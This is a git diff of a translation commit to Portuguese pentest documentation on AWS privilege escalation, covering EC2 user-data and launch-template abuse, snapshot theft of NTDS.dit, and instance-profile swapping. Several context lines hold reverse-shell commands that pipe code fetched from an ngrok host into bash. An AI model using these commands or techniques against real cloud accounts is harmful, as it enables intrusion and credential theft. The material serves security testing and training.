**Impacto Potencial:** Privesc direto para o papel IAM do pool de identidade para usuários autenticados. Privesc indireto para outras funcionalidades do aplicativo, podendo criar qualquer usuário.
|
||||
|
||||
### cognito-sync:\* Análise
|
||||
### Análise cognito-sync:\*
|
||||
|
||||
Esta é uma permissão muito comum por padrão em papéis de Pools de Identidade Cognito. Mesmo que um curinga em permissões sempre pareça ruim (especialmente vindo da AWS), as **permissões dadas não são super úteis do ponto de vista de um atacante**.
|
||||
|
||||
@@ -259,7 +259,7 @@ Exemplo de uso do cognito\_\_enum para coletar todos os grupos de usuários, cli
|
||||
```bash
|
||||
Pacu (new:test) > run cognito__enum
|
||||
```
|
||||
- [Cognito Scanner](https://github.com/padok-team/cognito-scanner) é uma ferramenta CLI em python que implementa diferentes ataques no Cognito, incluindo uma escalada de privilégios.
|
||||
- [Cognito Scanner](https://github.com/padok-team/cognito-scanner) é uma ferramenta CLI em python que implementa diferentes ataques ao Cognito, incluindo uma escalada de privilégios.
|
||||
|
||||
#### Instalação
|
||||
```bash
|
||||
|
||||
+1
-1
@@ -57,7 +57,7 @@ Após a criação do pipeline, o atacante atualiza sua definição para ditar a
|
||||
aws datapipeline put-pipeline-definition --pipeline-id <pipeline-id> \
|
||||
--pipeline-definition file:///pipeline/definition.json
|
||||
```
|
||||
O **arquivo de definição do pipeline, elaborado pelo atacante, inclui diretrizes para executar comandos** ou criar recursos via API da AWS, aproveitando as permissões de função do Data Pipeline para potencialmente ganhar privilégios adicionais.
|
||||
O **arquivo de definição do pipeline, elaborado pelo atacante, inclui diretivas para executar comandos** ou criar recursos via a API da AWS, aproveitando as permissões de função do Data Pipeline para potencialmente ganhar privilégios adicionais.
|
||||
|
||||
**Impacto Potencial:** Privesc direto para a função de serviço ec2 especificada.
|
||||
|
||||
|
||||
+2
-2
@@ -2,7 +2,7 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Serviços de Diretório
|
||||
## Directory Services
|
||||
|
||||
Para mais informações sobre serviços de diretório, consulte:
|
||||
|
||||
@@ -27,6 +27,6 @@ E então **conceder a eles uma função AWS IAM** para quando fizerem login, des
|
||||
|
||||
<figure><img src="../../../images/image (155).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Aparentemente, não há como habilitar a URL de acesso ao aplicativo, o console de gerenciamento da AWS e conceder permissão
|
||||
Aparentemente, não há como habilitar a URL de acesso ao aplicativo, o Console de Gerenciamento da AWS e conceder permissão
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -12,7 +12,7 @@ Para mais informações sobre dynamodb, consulte:
|
||||
|
||||
### Pós Exploração
|
||||
|
||||
Até onde sei, não há **uma maneira direta de escalar privilégios na AWS apenas tendo algumas permissões do `dynamodb`**. Você pode **ler informações sensíveis** das tabelas (que podem conter credenciais da AWS) e **escrever informações nas tabelas** (o que pode acionar outras vulnerabilidades, como injeções de código lambda...) mas todas essas opções já estão consideradas na **página de Pós Exploração do DynamoDB**:
|
||||
Até onde eu sei, **não há uma maneira direta de escalar privilégios na AWS apenas tendo algumas permissões de `dynamodb`**. Você pode **ler informações sensíveis** das tabelas (que podem conter credenciais da AWS) e **escrever informações nas tabelas** (o que pode acionar outras vulnerabilidades, como injeções de código lambda...) mas todas essas opções já estão consideradas na **página de Pós Exploração do DynamoDB**:
|
||||
|
||||
{{#ref}}
|
||||
../aws-post-exploitation/aws-dynamodb-post-exploitation.md
|
||||
|
||||
@@ -20,7 +20,7 @@ A ferramenta [https://github.com/Static-Flow/CloudCopy](https://github.com/Stati
|
||||
|
||||
### **`ec2:CreateSnapshot`**
|
||||
|
||||
Qualquer usuário da AWS que possua a permissão **`EC2:CreateSnapshot`** pode roubar os hashes de todos os usuários do domínio criando um **snapshot do Controlador de Domínio**, montando-o em uma instância que eles controlam e **exportando o arquivo NTDS.dit e o hive de registro SYSTEM** para uso com o projeto secretsdump do Impacket.
|
||||
Qualquer usuário da AWS que possua a permissão **`EC2:CreateSnapshot`** pode roubar os hashes de todos os usuários do domínio criando um **snapshot do Controlador de Domínio**, montando-o em uma instância que controla e **exportando o arquivo NTDS.dit e o hive de registro SYSTEM** para uso com o projeto secretsdump do Impacket.
|
||||
|
||||
Você pode usar esta ferramenta para automatizar o ataque: [https://github.com/Static-Flow/CloudCopy](https://github.com/Static-Flow/CloudCopy) ou pode usar uma das técnicas anteriores após criar um snapshot.
|
||||
|
||||
|
||||
@@ -24,7 +24,7 @@ aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
|
||||
```
|
||||
- **Acesso via rev shell em dados do usuário**
|
||||
|
||||
Você pode executar uma nova instância usando um **dado do usuário** (`--user-data`) que enviará uma **rev shell** para você. Você não precisa especificar o grupo de segurança dessa forma.
|
||||
Você pode executar uma nova instância usando um **user data** (`--user-data`) que enviará um **rev shell**. Você não precisa especificar o grupo de segurança dessa forma.
|
||||
```bash
|
||||
echo '#!/bin/bash
|
||||
curl https://reverse-shell.sh/4.tcp.ngrok.io:17031 | bash' > /tmp/rev.sh
|
||||
@@ -34,17 +34,17 @@ aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
|
||||
--count 1 \
|
||||
--user-data "file:///tmp/rev.sh"
|
||||
```
|
||||
Tenha cuidado com o GuardDuty se você usar as credenciais do papel IAM fora da instância:
|
||||
Tenha cuidado com o GuardDuty se você usar as credenciais do IAM role fora da instância:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-security-and-detection-services/aws-guardduty-enum.md
|
||||
{{#endref}}
|
||||
|
||||
**Impacto Potencial:** Privesc direto para qualquer papel EC2 anexado a perfis de instância existentes.
|
||||
**Impacto Potencial:** Privesc direto para qualquer role EC2 anexada a perfis de instância existentes.
|
||||
|
||||
#### Privesc para ECS
|
||||
|
||||
Com este conjunto de permissões, você também poderia **criar uma instância EC2 e registrá-la dentro de um cluster ECS**. Dessa forma, os **serviços** do ECS serão **executados** dentro da **instância EC2** onde você tem acesso e então você pode penetrar nesses serviços (contêineres docker) e **roubar seus papéis ECS anexados**.
|
||||
Com esse conjunto de permissões, você também poderia **criar uma instância EC2 e registrá-la dentro de um cluster ECS**. Dessa forma, os **serviços** do ECS serão **executados** dentro da **instância EC2** onde você tem acesso e então você pode penetrar nesses serviços (contêineres docker) e **roubar suas roles ECS anexadas**.
|
||||
```bash
|
||||
aws ec2 run-instances \
|
||||
--image-id ami-07fde2ae86109a2af \
|
||||
@@ -82,15 +82,15 @@ aws iam add-role-to-instance-profile --instance-profile-name <name> --role-name
|
||||
```
|
||||
Se o **perfil da instância tiver um papel** e o atacante **não puder removê-lo**, há outra solução. Ele poderia **encontrar** um **perfil de instância sem um papel** ou **criar um novo** (`iam:CreateInstanceProfile`), **adicionar** o **papel** a esse **perfil de instância** (como discutido anteriormente) e **associar o perfil de instância** comprometido a uma instância comprometida:
|
||||
|
||||
- Se a instância **não tiver nenhum perfil** de instância (`ec2:AssociateIamInstanceProfile`) \*
|
||||
- Se a instância **não tiver nenhum perfil de instância** (`ec2:AssociateIamInstanceProfile`) \*
|
||||
```bash
|
||||
aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --instance-id <value>
|
||||
```
|
||||
**Impacto Potencial:** Privesc direto para um papel EC2 diferente (você precisa ter comprometido uma instância AWS EC2 e algumas permissões extras ou um status específico de perfil de instância).
|
||||
**Impacto Potencial:** Privesc direto para um papel EC2 diferente (você precisa ter comprometido uma instância AWS EC2 e algumas permissões extras ou um status de perfil de instância específico).
|
||||
|
||||
### **`iam:PassRole`((** `ec2:AssociateIamInstanceProfile`& `ec2:DisassociateIamInstanceProfile`) || `ec2:ReplaceIamInstanceProfileAssociation`)
|
||||
|
||||
Com essas permissões, é possível mudar o perfil de instância associado a uma instância, então se o ataque já tiver acesso a uma instância, ele poderá roubar credenciais para mais papéis de perfil de instância, mudando o que está associado a ela.
|
||||
Com essas permissões, é possível alterar o perfil de instância associado a uma instância, então se o ataque já tiver acesso a uma instância, ele poderá roubar credenciais para mais papéis de perfil de instância, mudando o que está associado a ela.
|
||||
|
||||
- Se **tiver um perfil de instância**, você pode **remover** o perfil de instância (`ec2:DisassociateIamInstanceProfile`) e **associá-lo** \*
|
||||
```bash
|
||||
@@ -160,11 +160,11 @@ aws ec2 modify-instance-attribute \
|
||||
|
||||
aws ec2 start-instances --instance-ids $INSTANCE_ID
|
||||
```
|
||||
**Impacto Potencial:** Privesc direto para qualquer EC2 IAM Role anexado a uma instância criada.
|
||||
**Impacto Potencial:** Privesc direto para qualquer Função IAM do EC2 anexada a uma instância criada.
|
||||
|
||||
### `ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`,`ec2:ModifyLaunchTemplate`
|
||||
|
||||
Um atacante com as permissões **`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate` e `ec2:ModifyLaunchTemplate`** pode criar uma **nova versão do Launch Template** com um **rev shell em** os **dados do usuário** e **qualquer EC2 IAM Role nele**, mudar a versão padrão, e **qualquer grupo de Autoscaler** **usando** esse **Launch Template** que está **configurado** para usar a **versão mais recente** ou a **versão padrão** irá **re-executar as instâncias** usando esse template e irá executar o rev shell.
|
||||
Um atacante com as permissões **`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate` e `ec2:ModifyLaunchTemplate`** pode criar uma **nova versão do Template de Lançamento** com um **rev shell em** os **dados do usuário** e **qualquer Função IAM do EC2 nela**, alterar a versão padrão, e **qualquer grupo de Autoscaler** **usando** esse **Template de Lançamento** que está **configurado** para usar a **versão mais recente** ou a **versão padrão** irá **reiniciar as instâncias** usando esse template e executará o rev shell.
|
||||
```bash
|
||||
REV=$(printf '#!/bin/bash
|
||||
curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
|
||||
@@ -182,7 +182,7 @@ aws ec2 modify-launch-template \
|
||||
|
||||
### `autoscaling:CreateLaunchConfiguration`, `autoscaling:CreateAutoScalingGroup`, `iam:PassRole`
|
||||
|
||||
Um atacante com as permissões **`autoscaling:CreateLaunchConfiguration`,`autoscaling:CreateAutoScalingGroup`,`iam:PassRole`** pode **criar uma Configuração de Lançamento** com um **Papel IAM** e um **rev shell** dentro dos **dados do usuário**, então **criar um grupo de escalonamento automático** a partir dessa configuração e esperar que o rev shell **roube o Papel IAM**.
|
||||
Um atacante com as permissões **`autoscaling:CreateLaunchConfiguration`,`autoscaling:CreateAutoScalingGroup`,`iam:PassRole`** pode **criar uma Configuração de Lançamento** com um **Papel IAM** e um **rev shell** dentro dos **dados do usuário**, então **criar um grupo de autoscaling** a partir dessa configuração e esperar que o rev shell **roube o Papel IAM**.
|
||||
```bash
|
||||
aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-launch-configuration \
|
||||
--launch-configuration-name bad_config \
|
||||
@@ -213,7 +213,7 @@ aws ec2-instance-connect send-ssh-public-key \
|
||||
--instance-os-user "ec2-user" \
|
||||
--ssh-public-key "file://$PUBK_PATH"
|
||||
```
|
||||
**Impacto Potencial:** Privesc direto para os papéis IAM do EC2 anexados às instâncias em execução.
|
||||
**Impacto Potencial:** Privesc direto para os papéis IAM do EC2 anexados a instâncias em execução.
|
||||
|
||||
### `ec2-instance-connect:SendSerialConsoleSSHPublicKey`
|
||||
|
||||
@@ -231,7 +231,7 @@ aws ec2-instance-connect send-serial-console-ssh-public-key \
|
||||
|
||||
ssh -i /tmp/priv $INSTANCE_ID.port0@serial-console.ec2-instance-connect.eu-west-1.aws
|
||||
```
|
||||
Dessa forma, não é tão útil para privesc, pois você precisa conhecer um nome de usuário e uma senha para explorá-lo.
|
||||
Dessa forma, não é tão útil para privesc, pois você precisa saber um nome de usuário e uma senha para explorá-lo.
|
||||
|
||||
**Impacto Potencial:** (Altamente improvável) Privesc direto para os papéis IAM do EC2 anexados às instâncias em execução.
|
||||
|
||||
@@ -254,7 +254,7 @@ Nos comandos acima, embora estejamos especificando certos padrões (`aws_|passwo
|
||||
|
||||
Assumindo que encontramos `aws_access_key_id` e `aws_secret_access_key`, podemos usar essas credenciais para autenticar no AWS.
|
||||
|
||||
**Impacto Potencial:** Escalação de privilégios direta para usuário(s) IAM.
|
||||
**Impacto Potencial:** Escalação de privilégio direta para usuário(s) IAM.
|
||||
|
||||
## Referências
|
||||
|
||||
|
||||
@@ -18,9 +18,9 @@ Para mais informações sobre como baixar imagens:
|
||||
|
||||
### `ecr:GetAuthorizationToken`, `ecr:BatchCheckLayerAvailability`, `ecr:CompleteLayerUpload`, `ecr:InitiateLayerUpload`, `ecr:PutImage`, `ecr:UploadLayerPart`
|
||||
|
||||
Um atacante com todas essas permissões **pode fazer login no ECR e enviar imagens**. Isso pode ser útil para escalar privilégios para outros ambientes onde essas imagens estão sendo usadas.
|
||||
Um atacante com todas essas permissões **pode fazer login no ECR e fazer upload de imagens**. Isso pode ser útil para escalar privilégios para outros ambientes onde essas imagens estão sendo usadas.
|
||||
|
||||
Para aprender como enviar uma nova imagem/atualizar uma, verifique:
|
||||
Para aprender como fazer upload de uma nova imagem/atualizar uma, verifique:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-eks-enum.md
|
||||
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user